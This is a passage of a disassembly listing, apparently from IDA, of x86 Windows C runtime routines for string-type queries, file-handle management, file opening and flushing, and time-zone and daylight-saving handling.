mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_47FB14
xor ebx, ebx
cmp eax, ebx
jnz short loc_413E76
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_417860
push esi
call dword_41701C ; GetStringTypeW
test eax, eax
jz short loc_413E54
mov eax, esi
jmp short loc_413E71
; ---------------------------------------------------------------------------
loc_413E54: ; CODE XREF: sub_413E07+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_42226C
push esi
push ebx
call dword_417020 ; GetStringTypeA
test eax, eax
jz loc_413F3C
push 2
pop eax
loc_413E71: ; CODE XREF: sub_413E07+4Bj
mov dword_47FB14, eax
loc_413E76: ; CODE XREF: sub_413E07+2Fj
cmp eax, 2
jnz short loc_413E9F
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_413E87
mov eax, dword_47F9A4
loc_413E87: ; CODE XREF: sub_413E07+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call dword_417020 ; GetStringTypeA
jmp loc_413F3E
; ---------------------------------------------------------------------------
loc_413E9F: ; CODE XREF: sub_413E07+72j
cmp eax, 1
jnz loc_413F3C
cmp [ebp+arg_10], ebx
jnz short loc_413EB5
mov eax, dword_47F9B4
mov [ebp+arg_10], eax
loc_413EB5: ; CODE XREF: sub_413E07+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call dword_4170C4 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_413F3C
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_40B690
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_40B630
add esp, 0Ch
jmp short loc_413F0B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_413F0B: ; CODE XREF: sub_413E07+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_413F3C
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
call dword_4170C4 ; MultiByteToWideChar
cmp eax, ebx
jz short loc_413F3C
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call dword_41701C ; GetStringTypeW
jmp short loc_413F3E
; ---------------------------------------------------------------------------
loc_413F3C: ; CODE XREF: sub_413E07+61j
; sub_413E07+9Bj ...
xor eax, eax
loc_413F3E: ; CODE XREF: sub_413E07+93j
; sub_413E07+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_413E07 endp
; =============== S U B R O U T I N E =======================================
sub_413F50 proc near ; CODE XREF: sub_41416A:loc_4142E2p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_480C40
loc_413F5F: ; CODE XREF: sub_413F50+48j
mov eax, [ecx]
test eax, eax
jz short loc_413F9C
lea edx, [eax+100h]
loc_413F6B: ; CODE XREF: sub_413F50+28j
cmp eax, edx
jnb short loc_413F8B
test byte ptr [eax+4], 1
jz short loc_413F7A
add eax, 8
jmp short loc_413F6B
; ---------------------------------------------------------------------------
loc_413F7A: ; CODE XREF: sub_413F50+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_413FDF
loc_413F8B: ; CODE XREF: sub_413F50+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_480D40
jl short loc_413F5F
jmp short loc_413FDF
; ---------------------------------------------------------------------------
loc_413F9C: ; CODE XREF: sub_413F50+13j
mov esi, 100h
push esi
call sub_40B6BF
test eax, eax
pop ecx
jz short loc_413FDF
add dword_480D40, 20h
lea ecx, ds:480C40h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_413FC2: ; CODE XREF: sub_413F50+88j
cmp eax, edx
jnb short loc_413FDA
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_413FC2
; ---------------------------------------------------------------------------
loc_413FDA: ; CODE XREF: sub_413F50+74j
shl edi, 5
mov ebx, edi
loc_413FDF: ; CODE XREF: sub_413F50+39j
; sub_413F50+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_413F50 endp
; =============== S U B R O U T I N E =======================================
sub_413FE5 proc near ; CODE XREF: sub_41416A+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_480D40
push edi
jnb short loc_414045
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:480C40h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_414045
cmp dword_41DBF4, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_41403B
sub eax, 0
jz short loc_414032
dec eax
jz short loc_41402D
dec eax
jnz short loc_41403B
push ebx
push 0FFFFFFF4h
jmp short loc_414035
; ---------------------------------------------------------------------------
loc_41402D: ; CODE XREF: sub_413FE5+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_414035
; ---------------------------------------------------------------------------
loc_414032: ; CODE XREF: sub_413FE5+3Bj
push ebx
push 0FFFFFFF6h
loc_414035: ; CODE XREF: sub_413FE5+46j
; sub_413FE5+4Bj
call dword_417018 ; SetStdHandle
loc_41403B: ; CODE XREF: sub_413FE5+36j
; sub_413FE5+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_414059
; ---------------------------------------------------------------------------
loc_414045: ; CODE XREF: sub_413FE5+Cj
; sub_413FE5+28j
and dword_47F918, 0
mov dword_47F914, 9
or eax, 0FFFFFFFFh
loc_414059: ; CODE XREF: sub_413FE5+5Ej
pop edi
pop esi
retn
sub_413FE5 endp
; =============== S U B R O U T I N E =======================================
sub_41405C proc near ; CODE XREF: sub_411584+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_480D40
push edi
jnb short loc_4140BF
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:480C40h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_4140BF
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_4140BF
cmp dword_41DBF4, 1
jnz short loc_4140B5
xor eax, eax
sub ecx, eax
jz short loc_4140AC
dec ecx
jz short loc_4140A7
dec ecx
jnz short loc_4140B5
push eax
push 0FFFFFFF4h
jmp short loc_4140AF
; ---------------------------------------------------------------------------
loc_4140A7: ; CODE XREF: sub_41405C+41j
push eax
push 0FFFFFFF5h
jmp short loc_4140AF
; ---------------------------------------------------------------------------
loc_4140AC: ; CODE XREF: sub_41405C+3Ej
push eax
push 0FFFFFFF6h
loc_4140AF: ; CODE XREF: sub_41405C+49j
; sub_41405C+4Ej
call dword_417018 ; SetStdHandle
loc_4140B5: ; CODE XREF: sub_41405C+38j
; sub_41405C+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_4140D3
; ---------------------------------------------------------------------------
loc_4140BF: ; CODE XREF: sub_41405C+Cj
; sub_41405C+2Aj ...
and dword_47F918, 0
mov dword_47F914, 9
or eax, 0FFFFFFFFh
loc_4140D3: ; CODE XREF: sub_41405C+61j
pop edi
pop esi
retn
sub_41405C endp
; =============== S U B R O U T I N E =======================================
sub_4140D6 proc near ; CODE XREF: sub_411584+32p
; sub_411584+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_480D40
jnb short loc_4140FE
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_480C40[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_4140FE
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_4140FE: ; CODE XREF: sub_4140D6+Aj
; sub_4140D6+23j
and dword_47F918, 0
mov dword_47F914, 9
or eax, 0FFFFFFFFh
retn
sub_4140D6 endp
; =============== S U B R O U T I N E =======================================
sub_414113 proc near ; CODE XREF: sub_411662+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_480D40
jnb short loc_41415C
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_480C40[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41415C
push eax
call sub_4140D6
pop ecx
push eax
call dword_417014 ; FlushFileBuffers
test eax, eax
jnz short loc_414151
call dword_417044 ; RtlGetLastWin32Error
jmp short loc_414153
; ---------------------------------------------------------------------------
loc_414151: ; CODE XREF: sub_414113+34j
xor eax, eax
loc_414153: ; CODE XREF: sub_414113+3Cj
test eax, eax
jz short locret_414169
mov dword_47F918, eax
loc_41415C: ; CODE XREF: sub_414113+Aj
; sub_414113+22j
mov dword_47F914, 9
or eax, 0FFFFFFFFh
locret_414169: ; CODE XREF: sub_414113+42j
retn
sub_414113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41416A proc near ; CODE XREF: sub_411A3E+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_414190
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41419B
; ---------------------------------------------------------------------------
loc_414190: ; CODE XREF: sub_41416A+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41419B: ; CODE XREF: sub_41416A+24j
mov eax, 8000h
test ecx, eax
jnz short loc_4141B5
test ch, 40h
jnz short loc_4141B1
cmp dword_47FBFC, eax
jz short loc_4141B5
loc_4141B1: ; CODE XREF: sub_41416A+3Dj
or [ebp+var_1], 80h
loc_4141B5: ; CODE XREF: sub_41416A+38j
; sub_41416A+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_4141ED
dec eax
jz short loc_4141E4
dec eax
jz short loc_4141DB
loc_4141C6: ; CODE XREF: sub_41416A+9Fj
; sub_41416A+E8j ...
mov dword_47F914, 16h
mov dword_47F918, ebx
jmp loc_414400
; ---------------------------------------------------------------------------
loc_4141DB: ; CODE XREF: sub_41416A+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_4141F4
; ---------------------------------------------------------------------------
loc_4141E4: ; CODE XREF: sub_41416A+57j
mov [ebp+var_C], 40000000h
jmp short loc_4141F4
; ---------------------------------------------------------------------------
loc_4141ED: ; CODE XREF: sub_41416A+54j
mov [ebp+var_C], 80000000h
loc_4141F4: ; CODE XREF: sub_41416A+78j
; sub_41416A+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_414222
cmp eax, 20h
jz short loc_414219
cmp eax, 30h
jz short loc_414210
cmp eax, 40h
jnz short loc_4141C6
mov [ebp+var_10], esi
jmp short loc_414225
; ---------------------------------------------------------------------------
loc_414210: ; CODE XREF: sub_41416A+9Aj
mov [ebp+var_10], 2
jmp short loc_414225
; ---------------------------------------------------------------------------
loc_414219: ; CODE XREF: sub_41416A+95j
mov [ebp+var_10], 1
jmp short loc_414225
; ---------------------------------------------------------------------------
loc_414222: ; CODE XREF: sub_41416A+90j
mov [ebp+var_10], ebx
loc_414225: ; CODE XREF: sub_41416A+A4j
; sub_41416A+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41426F
jz short loc_41426A
cmp ecx, ebx
jz short loc_41426A
cmp ecx, edi
jz short loc_414261
cmp ecx, 200h
jz short loc_414288
cmp ecx, 300h
jnz loc_4141C6
mov [ebp+var_8], 2
jmp short loc_414298
; ---------------------------------------------------------------------------
loc_414261: ; CODE XREF: sub_41416A+D8j
mov [ebp+var_8], 4
jmp short loc_414298
; ---------------------------------------------------------------------------
loc_41426A: ; CODE XREF: sub_41416A+D0j
; sub_41416A+D4j
mov [ebp+var_8], esi
jmp short loc_414298
; ---------------------------------------------------------------------------
loc_41426F: ; CODE XREF: sub_41416A+CEj
cmp ecx, 500h
jz short loc_414291
cmp ecx, 600h
jz short loc_414288
cmp ecx, edx
jz short loc_414291
jmp loc_4141C6
; ---------------------------------------------------------------------------
loc_414288: ; CODE XREF: sub_41416A+E0j
; sub_41416A+113j
mov [ebp+var_8], 5
jmp short loc_414298
; ---------------------------------------------------------------------------
loc_414291: ; CODE XREF: sub_41416A+10Bj
; sub_41416A+117j
mov [ebp+var_8], 1
loc_414298: ; CODE XREF: sub_41416A+F5j
; sub_41416A+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_4142B7
mov ecx, dword_47F91C
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_4142B7
push 1
pop esi
loc_4142B7: ; CODE XREF: sub_41416A+138j
; sub_41416A+148j
test al, 40h
jz short loc_4142C5
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_4142C5: ; CODE XREF: sub_41416A+14Fj
test ah, 10h
jz short loc_4142CC
or esi, edi
loc_4142CC: ; CODE XREF: sub_41416A+15Ej
test al, 20h
jz short loc_4142D8
or esi, 8000000h
jmp short loc_4142E2
; ---------------------------------------------------------------------------
loc_4142D8: ; CODE XREF: sub_41416A+164j
test al, 10h
jz short loc_4142E2
or esi, 10000000h
loc_4142E2: ; CODE XREF: sub_41416A+16Cj
; sub_41416A+170j
call sub_413F50
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_414303
and dword_47F918, 0
mov dword_47F914, 18h
jmp short loc_414341
; ---------------------------------------------------------------------------
loc_414303: ; CODE XREF: sub_41416A+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
call dword_41707C ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_414334
push esi
call dword_417030 ; GetFileType
test eax, eax
jnz short loc_414348
push esi
call dword_417074 ; CloseHandle
loc_414334: ; CODE XREF: sub_41416A+1B6j
call dword_417044 ; RtlGetLastWin32Error
push eax
call sub_411C26
pop ecx
loc_414341: ; CODE XREF: sub_41416A+197j
mov eax, edi
jmp loc_41441E
; ---------------------------------------------------------------------------
loc_414348: ; CODE XREF: sub_41416A+1C1j
cmp eax, 2
jnz short loc_414353
or [ebp+var_1], 40h
jmp short loc_41435C
; ---------------------------------------------------------------------------
loc_414353: ; CODE XREF: sub_41416A+1E1j
cmp eax, 3
jnz short loc_41435C
or [ebp+var_1], 8
loc_41435C: ; CODE XREF: sub_41416A+1E7j
; sub_41416A+1ECj
push esi
push ebx
call sub_413FE5
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:480C40h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_414405
test al, 80h
jz short loc_414405
test byte ptr [ebp+arg_4], 2
jz short loc_414405
push 2
push 0FFFFFFFFh
push ebx
call sub_412573
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_4143BA
cmp dword_47F918, 83h
jz short loc_414405
jmp short loc_4143F9
; ---------------------------------------------------------------------------
loc_4143BA: ; CODE XREF: sub_41416A+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_411848
add esp, 0Ch
test eax, eax
jnz short loc_4143E7
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_4143E7
push [ebp+var_10]
push ebx
call sub_4155CD
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_4143F9
loc_4143E7: ; CODE XREF: sub_41416A+265j
; sub_41416A+26Bj
push 0
push 0
push ebx
call sub_412573
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_414405
loc_4143F9: ; CODE XREF: sub_41416A+24Ej
; sub_41416A+27Bj
push ebx
call sub_411584
pop ecx
loc_414400: ; CODE XREF: sub_41416A+6Cj
or eax, 0FFFFFFFFh
jmp short loc_41441E
; ---------------------------------------------------------------------------
loc_414405: ; CODE XREF: sub_41416A+221j
; sub_41416A+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_41441C
test byte ptr [ebp+arg_4], 8
jz short loc_41441C
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_41441C: ; CODE XREF: sub_41416A+29Fj
; sub_41416A+2A5j
mov eax, ebx
loc_41441E: ; CODE XREF: sub_41416A+1D9j
; sub_41416A+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41416A endp
; =============== S U B R O U T I N E =======================================
sub_414423 proc near ; CODE XREF: sub_411D59:loc_411D98p
cmp dword_47FBD8, 0
jnz short locret_414437
call sub_414438
inc dword_47FBD8
locret_414437: ; CODE XREF: sub_414423+7j
retn
sub_414423 endp
; =============== S U B R O U T I N E =======================================
sub_414438 proc near ; CODE XREF: sub_414423+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_47FB20, ebp
mov dword_420670, ebx
mov dword_420660, ebx
call sub_415713
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_414561
push offset dword_47FB28
call dword_417114 ; GetTimeZoneInformation
cmp eax, ebx
jz loc_414690
mov eax, dword_47FB28
mov ecx, dword_47FB7C
imul eax, 3Ch
cmp word_47FB6E, bp
push 1
pop edx
mov dword_4205C8, eax
mov dword_47FB20, edx
jz short loc_4144AF
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_4205C8, eax
loc_4144AF: ; CODE XREF: sub_414438+69j
cmp word_47FBC2, bp
jz short loc_4144D3
mov eax, dword_47FBD0
cmp eax, ebp
jz short loc_4144D3
sub eax, ecx
mov dword_4205CC, edx
imul eax, 3Ch
mov dword_4205D0, eax
jmp short loc_4144DF
; ---------------------------------------------------------------------------
loc_4144D3: ; CODE XREF: sub_414438+7Ej
; sub_414438+87j
mov dword_4205CC, ebp
mov dword_4205D0, ebp
loc_4144DF: ; CODE XREF: sub_414438+99j
lea eax, [esp+14h+var_4]
mov esi, dword_4170C0
push eax
push ebp
push 3Fh
mov edi, 220h
push off_420654
push ebx
push offset dword_47FB2C
push edi
push dword_47F9B4
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_41451C
cmp [esp+14h+var_4], ebp
jnz short loc_41451C
mov eax, off_420654
and byte ptr [eax+3Fh], 0
jmp short loc_414524
; ---------------------------------------------------------------------------
loc_41451C: ; CODE XREF: sub_414438+D1j
; sub_414438+D7j
mov eax, off_420654
and byte ptr [eax], 0
loc_414524: ; CODE XREF: sub_414438+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_420658
push ebx
push offset dword_47FB80
push edi
push dword_47F9B4
call esi ; WideCharToMultiByte
test eax, eax
jz loc_414688
cmp [esp+14h+var_4], ebp
jnz loc_414688
mov eax, off_420658
and byte ptr [eax+3Fh], 0
jmp loc_414690
; ---------------------------------------------------------------------------
loc_414561: ; CODE XREF: sub_414438+2Dj
cmp byte ptr [esi], 0
jz loc_414690
mov eax, dword_47FBD4
cmp eax, ebp
jz short loc_414584
push eax
push esi
call sub_40C250
pop ecx
test eax, eax
pop ecx
jz loc_414690
loc_414584: ; CODE XREF: sub_414438+139j
push dword_47FBD4
call sub_40B771
push esi
call sub_40B5B0
inc eax
push eax
call sub_40B6BF
add esp, 0Ch
cmp eax, ebp
mov dword_47FBD4, eax
jz loc_414690
push esi
push eax
call sub_40CD70
push 3
push esi
push off_420654
call sub_40B110
mov eax, off_420654
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_4145D9
push 1
inc esi
pop edi
loc_4145D9: ; CODE XREF: sub_414438+19Bj
push esi
call sub_40C324
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_4205C8, ecx
loc_4145F0: ; CODE XREF: sub_414438+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_4145FE
cmp al, bl
jl short loc_414601
cmp al, 39h
jg short loc_414601
loc_4145FE: ; CODE XREF: sub_414438+1BCj
inc esi
jmp short loc_4145F0
; ---------------------------------------------------------------------------
loc_414601: ; CODE XREF: sub_414438+1C0j
; sub_414438+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_414654
inc esi
push esi
call sub_40C324
imul eax, 3Ch
pop ecx
mov ecx, dword_4205C8
add ecx, eax
mov dword_4205C8, ecx
loc_41461F: ; CODE XREF: sub_414438+1F2j
mov al, [esi]
cmp al, bl
jl short loc_41462C
cmp al, 39h
jg short loc_41462C
inc esi
jmp short loc_41461F
; ---------------------------------------------------------------------------
loc_41462C: ; CODE XREF: sub_414438+1EBj
; sub_414438+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_414654
inc esi
push esi
call sub_40C324
pop ecx
mov ecx, dword_4205C8
add ecx, eax
mov dword_4205C8, ecx
loc_414647: ; CODE XREF: sub_414438+21Aj
mov al, [esi]
cmp al, bl
jl short loc_414654
cmp al, 39h
jg short loc_414654
inc esi
jmp short loc_414647
; ---------------------------------------------------------------------------
loc_414654: ; CODE XREF: sub_414438+1CCj
; sub_414438+1F7j ...
cmp edi, ebp
jz short loc_414660
neg ecx
mov dword_4205C8, ecx
loc_414660: ; CODE XREF: sub_414438+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_4205CC, eax
jz short loc_414688
push 3
push esi
push off_420658
call sub_40B110
mov eax, off_420658
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_414690
; ---------------------------------------------------------------------------
loc_414688: ; CODE XREF: sub_414438+10Bj
; sub_414438+115j ...
mov eax, off_420658
and byte ptr [eax], 0
loc_414690: ; CODE XREF: sub_414438+40j
; sub_414438+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_414438 endp
; =============== S U B R O U T I N E =======================================
sub_414696 proc near ; CODE XREF: sub_411D59+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_4205CC, edi
jnz short loc_4146AA
loc_4146A3: ; CODE XREF: sub_414696+148j
; sub_414696+150j ...
xor eax, eax
jmp loc_4147F6
; ---------------------------------------------------------------------------
loc_4146AA: ; CODE XREF: sub_414696+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_420660
jnz short loc_4146C8
cmp eax, dword_420670
jz loc_4147CA
loc_4146C8: ; CODE XREF: sub_414696+24j
cmp dword_47FB20, edi
jz loc_4147A0
movzx ecx, word_47FBCE
push ecx
cmp word_47FBC0, di
movzx ecx, word_47FBCC
push ecx
movzx ecx, word_47FBCA
push ecx
movzx ecx, word_47FBC8
push ecx
jnz short loc_41471A
movzx ecx, word_47FBC4
push edi
push ecx
movzx ecx, word_47FBC6
push ecx
movzx ecx, word_47FBC2
push ecx
push eax
push ebx
jmp short loc_41472E
; ---------------------------------------------------------------------------
loc_41471A: ; CODE XREF: sub_414696+65j
movzx ecx, word_47FBC6
push ecx
push edi
movzx ecx, word_47FBC2
push edi
push ecx
push eax
push edi
loc_41472E: ; CODE XREF: sub_414696+82j
push ebx
call sub_414842
movzx eax, word_47FB7A
add esp, 2Ch
cmp word_47FB6C, di
push eax
movzx eax, word_47FB78
push eax
movzx eax, word_47FB76
push eax
movzx eax, word_47FB74
push eax
jnz short loc_414788
movzx eax, word_47FB70
push edi
push eax
movzx eax, word_47FB72
push eax
movzx eax, word_47FB6E
push eax
push dword ptr [esi+14h]
push ebx
loc_41477D: ; CODE XREF: sub_414696+108j
push edi
call sub_414842
add esp, 2Ch
jmp short loc_4147CA
; ---------------------------------------------------------------------------
loc_414788: ; CODE XREF: sub_414696+C8j
movzx eax, word_47FB72
push eax
push edi
movzx eax, word_47FB6E
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_41477D
; ---------------------------------------------------------------------------
loc_4147A0: ; CODE XREF: sub_414696+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_414842
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_414842
add esp, 58h
loc_4147CA: ; CODE XREF: sub_414696+2Cj
; sub_414696+F0j
mov edx, dword_420664
mov eax, dword_420674
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_4147FA
cmp ecx, edx
jl loc_4146A3
cmp ecx, eax
jg loc_4146A3
cmp ecx, edx
jle short loc_41480E
cmp ecx, eax
jge short loc_41480E
loc_4147F4: ; CODE XREF: sub_414696+166j
; sub_414696+16Aj
mov eax, ebx
loc_4147F6: ; CODE XREF: sub_414696+Fj
; sub_414696+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4147FA: ; CODE XREF: sub_414696+144j
cmp ecx, eax
jl short loc_4147F4
cmp ecx, edx
jg short loc_4147F4
cmp ecx, eax
jle short loc_41480E
cmp ecx, edx
jl loc_4146A3
loc_41480E: ; CODE XREF: sub_414696+158j
; sub_414696+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_414835
xor ecx, ecx
cmp eax, dword_420668
setnl cl
loc_414831: ; CODE XREF: sub_414696+1AAj
mov eax, ecx
jmp short loc_4147F6
; ---------------------------------------------------------------------------
loc_414835: ; CODE XREF: sub_414696+18Ej
xor ecx, ecx
cmp eax, dword_420678
setl cl
jmp short loc_414831
sub_414696 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414842 proc near ; CODE XREF: sub_414696+99p
; sub_414696+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_4148DD
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_41486D
shl esi, 2
mov eax, dword_420678[esi]
jmp short loc_414876
; ---------------------------------------------------------------------------
loc_41486D: ; CODE XREF: sub_414842+1Ej
shl esi, 2
mov eax, dword_4206AC[esi]
loc_414876: ; CODE XREF: sub_414842+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_4148B0
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_4148BA
; ---------------------------------------------------------------------------
loc_4148B0: ; CODE XREF: sub_414842+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_4148BA: ; CODE XREF: sub_414842+6Cj
cmp [ebp+arg_10], 5
jnz short loc_4148F8
cmp [ebp+arg_8], 0
jnz short loc_4148CE
mov esi, dword_42067C[esi]
jmp short loc_4148D4
; ---------------------------------------------------------------------------
loc_4148CE: ; CODE XREF: sub_414842+82j
mov esi, dword_4206B0[esi]
loc_4148D4: ; CODE XREF: sub_414842+8Aj
cmp ecx, esi
jle short loc_4148F8
sub ecx, 7
jmp short loc_4148F8
; ---------------------------------------------------------------------------
loc_4148DD: ; CODE XREF: sub_414842+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_4148EE
mov ecx, dword_420678[eax*4]
jmp short loc_4148F5
; ---------------------------------------------------------------------------
loc_4148EE: ; CODE XREF: sub_414842+A1j
mov ecx, dword_4206AC[eax*4]
loc_4148F5: ; CODE XREF: sub_414842+AAj
add ecx, [ebp+arg_18]
loc_4148F8: ; CODE XREF: sub_414842+7Cj
; sub_414842+94j ...
cmp [ebp+arg_0], 1
jnz short loc_414929
mov eax, [ebp+arg_1C]
mov dword_420664, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_420660, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_420668, eax
jmp short loc_41497E
